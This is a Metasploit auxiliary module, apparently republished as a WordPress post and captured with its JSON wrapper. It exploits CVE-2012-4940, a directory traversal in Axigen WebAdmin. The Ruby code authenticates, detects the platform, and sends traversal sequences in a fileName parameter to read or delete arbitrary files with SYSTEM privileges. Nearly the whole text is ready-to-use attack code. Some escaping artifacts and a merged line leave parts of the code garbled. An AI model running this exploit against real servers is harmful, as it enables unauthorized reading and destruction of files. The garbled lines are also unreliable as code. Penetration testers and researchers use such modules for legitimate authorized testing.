##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Axigen Arbitrary File Read and Delete’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability in the WebAdmin
interface of Axigen, which allows an authenticated user to read and delete
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
Windows platforms. This module has been tested successfully on Axigen 8.10 over
Windows 2003 SP2.
},
‘Author’ => [
‘Zhao Liang’, # Vulnerability discovery
‘juan vazquez’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[ ‘US-CERT-VU’, ‘586556’ ],
[ ‘CVE’, ‘2012-4940’ ],
[ ‘OSVDB’, ‘86802’ ]],
‘Actions’ => [
[‘Read’, { ‘Description’ => ‘Read remote file’ }],
[‘Delete’, { ‘Description’ => ‘Delete remote file’ }]],
‘DefaultAction’ => ‘Read’,
‘DisclosureDate’ => ‘2012-10-31’
)
)<\/p>\n
register_options(
[
Opt::RPORT(9000),
OptInt.new(‘DEPTH’, [ true, ‘Traversal depth if absolute is set to false’, 4 ]),
OptString.new(‘TARGETURI’, [ true, ‘Path to Axigen WebAdmin’, ‘\/’ ]),
OptString.new(‘USERNAME’, [ true, ‘The user to authenticate as’, ‘admin’ ]),
OptString.new(‘PASSWORD’, [ true, ‘The password to authenticate with’ ]),
OptString.new(‘PATH’, [ true, ‘The file to read or delete’, ‘\\\\windows\\\\win.ini’ ])
])
end<\/p>\n
def run
print_status(‘Trying to login’)
if login
print_good(‘Login Successful’)
else
print_error(‘Login failed, review USERNAME and PASSWORD options’)
return
end<\/p>\n
@traversal = ‘..\/’ * 10
file = datastore[‘PATH’]@platform = get_platform<\/p>\n
if @platform == ‘windows’
@traversal.gsub!(%r{\/}, ‘\\\\’)
file.gsub!(%r{\/}, ‘\\\\’)
else # unix
print_error(‘*nix platform detected, vulnerability is only known to work on Windows’)
return
end<\/p>\n
case action.name
when ‘Read’
read_file(datastore[‘PATH’])
when ‘Delete’
delete_file(datastore[‘PATH’])
end
end<\/p>\n
def read_file(file)
print_status(‘Retrieving file contents…’)<\/p>\n
res = send_request_cgi(
{
‘uri’ => normalize_uri(target_uri.path, ‘sources’, ‘logging’, ‘page_log_file_content.hsp’),
‘method’ => ‘GET’,
‘cookie’ => “_hadmin=#{@session}”,
‘vars_get’ => {
‘_h’ => @token,
‘fileName’ => “#{@traversal}#{file}”
}
}
)<\/p>\n
if res && (res.code == 200) && res.headers[‘Content-Type’] && !res.body.empty?
store_path = store_loot(‘axigen.webadmin.data’, ‘application\/octet-stream’, rhost, res.body, file)
print_good(“File successfully retrieved and saved on #{store_path}”)
else
print_error(‘Failed to retrieve file’)
end
end<\/p>\n
def delete_file(file)
print_status(“Deleting file #{file}”)<\/p>\n
res = send_request_cgi(
{
‘uri’ => normalize_uri(target_uri.path),
‘method’ => ‘GET’,
‘cookie’ => “_hadmin=#{@session}”,
‘vars_get’ => {
‘_h’ => @token,
‘page’ => ‘vlf’,
‘action’ => ‘delete’,
‘fileName’ => “#{@traversal}#{file}”
}
}
)<\/p>\n
if res && (res.code == 200) && res.body =~ (\/View Log Files\/)
print_good(“File #{file} deleted”)
else
print_error(“Error deleting file #{file}”)
end
end<\/p>\n
def get_platform
print_status(‘Retrieving platform’)<\/p>\n
res = send_request_cgi(
{
‘uri’ => normalize_uri(target_uri.path),
‘method’ => ‘GET’,
‘cookie’ => “_hadmin=#{@session}”,
‘vars_get’ => {
‘_h’ => @token
}
}
)<\/p>\n
if res && (res.code == 200)
if res.body =~ \/Windows\/
print_good(‘Windows platform found’)
return ‘windows’
elsif res.body =~ \/Linux\/
print_good(‘Linux platform found’)
return ‘unix’
end
end<\/p>\n
print_warning(‘Platform not found, assuming UNIX flavor’)
return ‘unix’
end<\/p>\n
def login
res = send_request_cgi(
{
‘uri’ => normalize_uri(target_uri.path),
‘method’ => ‘POST’,
‘vars_post’ => {
‘username’ => datastore[‘USERNAME’],
‘password’ => datastore[‘PASSWORD’],
‘submit’ => ‘Login’,
‘action’ => ‘login’
}
}
)<\/p>\n
if res && (res.code == 303) && res.headers[‘Location’] =~ (\/_h=([a-f0-9]*)\/)
@token = ::Regexp.last_match(1)
if res.get_cookies =~ \/_hadmin=([a-f0-9]*)\/
@session = ::Regexp.last_match(1)
return true
end
end<\/p>\n
return false
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,‘Name’ => ‘Axigen Arbitrary File Read and Delete’,‘Description’ => %q{This module exploits a directory traversal vulnerability in the WebAdmininterface of Axigen, which allows an authenticated user to read and deletearbitrary files with SYSTEM privileges. The vulnerability is known …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59311","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59311"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59311\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}